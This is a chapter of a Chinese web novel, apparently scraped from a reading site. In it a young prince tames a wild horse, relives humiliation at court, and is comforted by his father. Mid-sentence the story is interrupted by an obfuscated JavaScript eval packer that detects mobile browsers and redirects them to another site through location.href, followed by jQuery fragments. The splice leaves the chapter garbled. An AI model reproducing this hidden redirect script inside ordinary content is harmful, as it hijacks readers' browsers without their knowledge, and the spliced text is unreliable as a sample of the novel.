40.少年风流

作品:《团宠一心求死

    白马被刷得很干净,后背毛皮下是掩藏不住横亘着的粗壮肌肉,在没有太阳、灰蒙蒙的天光下有明有暗。


    宁含栀摸了摸白马的鼻子,白马高高抬起脑袋躲开他的触碰。


    杨金玉放置好马鞍,见状抬手在马身上拍了一掌,白马立刻抬起后腿朝他一蹬,他闪身躲开,对宁含栀说:“殿下,您也瞧见了,这马实在是太烈。”


    宁含栀不搭理他,拽着缰绳拉住白马,一松一紧地牵制住它的挣动,一边吹着口哨逗它,随后抬腿朝着马脖子一勾,短袍下摆在空中甩出一个漂亮的弧度,杨金玉都没瞧见他是怎么发力的,人就已经翻身稳稳骑在了马鞍上。


    白马立刻抬首嘶鸣,可杨金玉并没有等到马跳跃着把人甩下马的场景,只见宁含栀不慌不忙地扯了扯缰绳,又吹了声口哨,白马就安静下来,随后由着宁含栀驾驭在场内稳稳当当地小跑起来。


    杨金玉目瞪口呆地看着这位五殿下骑着至今无人驯服的白马绕场跑了两圈,随后停在自己面前,俯下身问:“杨拭戈,以后我来上骑射课可以骑它吗?”


    黑亮如缎的长发由红色绑带高高束起,垂在少年脸颊一侧,许是方才的两下运力让脸颊飞起淡淡的粉色,衬得眉目活泼。两缕发尾随风飘到杨金玉眼前,他抬头望着少年明媚张扬的脸庞,呆愣得说不出话,甚至全广也呆住了,这般意气风发的五殿下,他也是头一回见。


    宁含栀挑了挑眉,坐直身体望向隔壁马场里正骑着马比赛的宁茗一行人。


    “开课前都是随意玩儿的吗?”


    杨金玉仿佛才找着魂,眼底闪烁两下,答道:“是,大约还有半刻钟就上课了,殿下可要加入他们?”


    他说话的语气只剩下尊敬,全然没有方才的虚伪与轻蔑,宁含栀也不再呛他,丢下一句“那我去了”,就控着白马小跑过去。


    全广在后头追上去,操心地嘱咐:“殿下慢着点儿!”


    宁含栀举起手挥了挥以作回应。


    “巡风,”宁含栀往前倾身看着白马的眼睛,“你以后就叫巡风了,巡风,停!”


    他说出命令的同时拽紧缰绳,巡风暂时听不懂话,只能服从主导的缰绳,宁含栀也打算以后都提前一个时辰过来——驯马。


    他一跨进马场,就有人瞧见,“是那匹烈马!”


    宁含栀顶着齐刷刷扫过来的视线,笑着低头摸了摸巡风的脖子,小声说:“原来你已经江湖有名啦。”


    一众少年骑着马跑过来挤到他们面前,巡风低下头用脚刨土,做出要攻击的样子,吓得冲最前面的宁茗拽着缰绳往后退。


    宁含栀伸手拍拍巡风的脑袋,很快它就安静下来。


    “五殿下,你怎么驯服它的?他可一直没有主人,动不动就要踹人,连养马师傅都怕他,听说要不是它体格棒,耐力、冲力都数佼佼者,早就被拉出去杀了。”宁茗道。


    “或许是我俩有缘吧。看牙齿和腿,它应该不到两岁,杀了才可惜。”


    “可有给它取名?”


    “巡风。”


    众人纷纷吟诗附和,“冬雪皑皑,冷风簌簌,白马啸西风。”“巡风飒踏逐胡影,霜剑凌冽照山河。”“你这句好!”“独行风雪里,少年自风流。”“我也来……”


    ……


    他们从夸马逐渐到夸人,这氛围他很熟悉。


    只是从前他是在角落里说不起话的那个,而非人群追捧的中心。


    宁含栀听着觉得这些声音忽远忽近,上一句像在耳边低语,下一句就高声大喊,震得他耳朵生疼,接着又像是远处有人对他喊着什么。


    杨金玉轻蔑的神情又浮现在眼前,面孔如一抔面粉沉入水中消散,紧接着浮起一双双眼睛,朝他投来恶毒的眼神。


    ——那些眼睛很熟悉,声音也是。


    “宜王殿下与启王殿下实乃我朝双璧,新政所到之处无不繁荣!”


    “欸,太子殿下仁和通政,成王殿下骁勇善战,我朝岂止双璧啊?”


    “陈大人说得对,不日我朝亦将‘市列珠玑,户盈罗绮’。”


    ……


    “你们忘了还有个五殿下吧?”


    “他?未回朝之前还真以为他是个领兵的将才,可如今再看,一只瘸腿的狗,还想装狼?”


    “小声点,就在咱们后面!”


    “啧,瞧你那怂样,一个不受宠的皇子罢了。”


    ……


    宁含栀因为膝盖的伤走得艰难,被迫在后头听着各位大人们夸赞几位哥哥再贬低他。这样话听得多了,心里也起不了波澜。


    此刻他脑子里充斥的只一个祈求——腿伤快些痊愈。本来他御寒的衣物就少,这样蜗牛似的脚速让他在这寒冬腊月里吹冷风,更是雪上加霜。


    可是他们聊着聊着,却突然齐齐回头朝他看过来,十几道审视、冷漠、嘲讽、失望的视线扫遍全身,单薄的衣物、无法着力的腿、红肿皴裂的手指……他的狼狈无所遁形。


    白马或许也嫌少年们太聒噪,摇头打了个响鼻,宁含栀如梦方醒。


    冷汗润湿了里衣,潮乎乎地黏在身上,金玉为笼一般,将他困在往日的恐惧中。


    宋峥凑上来小声问:“怎么脸色突然这么差?”


    “无碍,只是有些累。”


    宁含栀偏头躲开,白马跟着他的动作往左走了两步,和宋峥拉开距离。


    宋峥:“?”刚才不是还好好的?


    宁含栀短促地呼出一口气,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979427|192916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    艰难地把笑容挂回脸上,“我自己去转转。”


    说罢,他便骑着巡风往营地无人处走去。


    这样很是失礼,但他此时却是难以应付,再多留下一会儿,他就不知道自己会做出什么事了。


    巡防营西南方是料场,除了喂食、送料,鲜有人来。宁含栀下了马,让巡风自己找东西吃,他找了片干草地躺下。


    望着高阔苍穹,吹着寒冷的北风,宁含栀折了一根麦秆在嘴里叼着。


    像野狗一样在旷远的荒草地上奔跑,累了就找个安全的草垛躺着休息。


    ——这才是我该有的生活。


    他后知后觉,自己没有办法融入到京城这群长袖善舞、口若悬河少年中。他们玉冠环佩上萦绕着少年意气,他锦衣华服之下则是本该腐烂的身躯。


    他胡思乱想着,听到一阵逐渐靠近的马蹄声,坐起身望去,竟然是父皇。


    他怎么来了?怎么在这时候来了?


    宁含栀心虚地低下头,又假意去捞巡风的缰绳,趁机拍了拍脸,不让父皇看到自己的异样。


    “怎么一个人躲在这里?是不是有人欺负你了?”


    宁含栀站起身迎他,宁辉翻身下马后径直坐在草垛上,又拉着宁含栀坐下,一手按上他的脉门,确认他并不是旧疾发作,又细细打量着他的脸。


    草垛上只坐着父子两人。风还在呼啸着跑过耳边,宁辉扯了扯大氅朝着儿子挪挪,接着把他抱进怀里用大氅裹住。灼热的体温传给挨冻的小崽,原本因寒冷而绷紧的身躯缓缓放松下来。


    宁含栀的情绪好坏都是显在脸上的,他开心的时候和人说话总是看人眼睛且自己眼睛睁得溜圆,低落时就垂着眼睫不爱看人,也不爱答话。


    可上一世的宁辉从来没有再这样的角度看过沉默的小五。


    ——藏在袖子下面偷偷扣着的手指,颤动的睫毛,紧咬牙齿而鼓出的下颚,无一不在表露他的惶恐。


    “爹爹来的时候瞧见你们班的都在场上赛马,没瞧见你的身影还松了口气,你身子没好全,可不能像他们那般骑着马猛跑。问了宁茗,我一个人找来这里。也没有人给我指路,就是想着,小五不开心了肯定会找个安静的地方发呆,这不就被爹爹抓住了?”


    宁辉把儿子的手捉出来握在掌心暖着,看向巡风,问:“宁茗说你骑着马去找他们的时候都好好的,聊着聊着你突然脸色就不好了,是想到什么了吗?”


    循循善诱问不出来,宁辉就挑明了。


    “不许不说话。”他语气稍稍严厉。


    宁含栀似是委屈似是赌气地吭哧一声,屈膝把下巴搭上去,觉得不舒服,又扭脸转向另一边留个后脑勺冲着宁辉。


    宁辉:“?”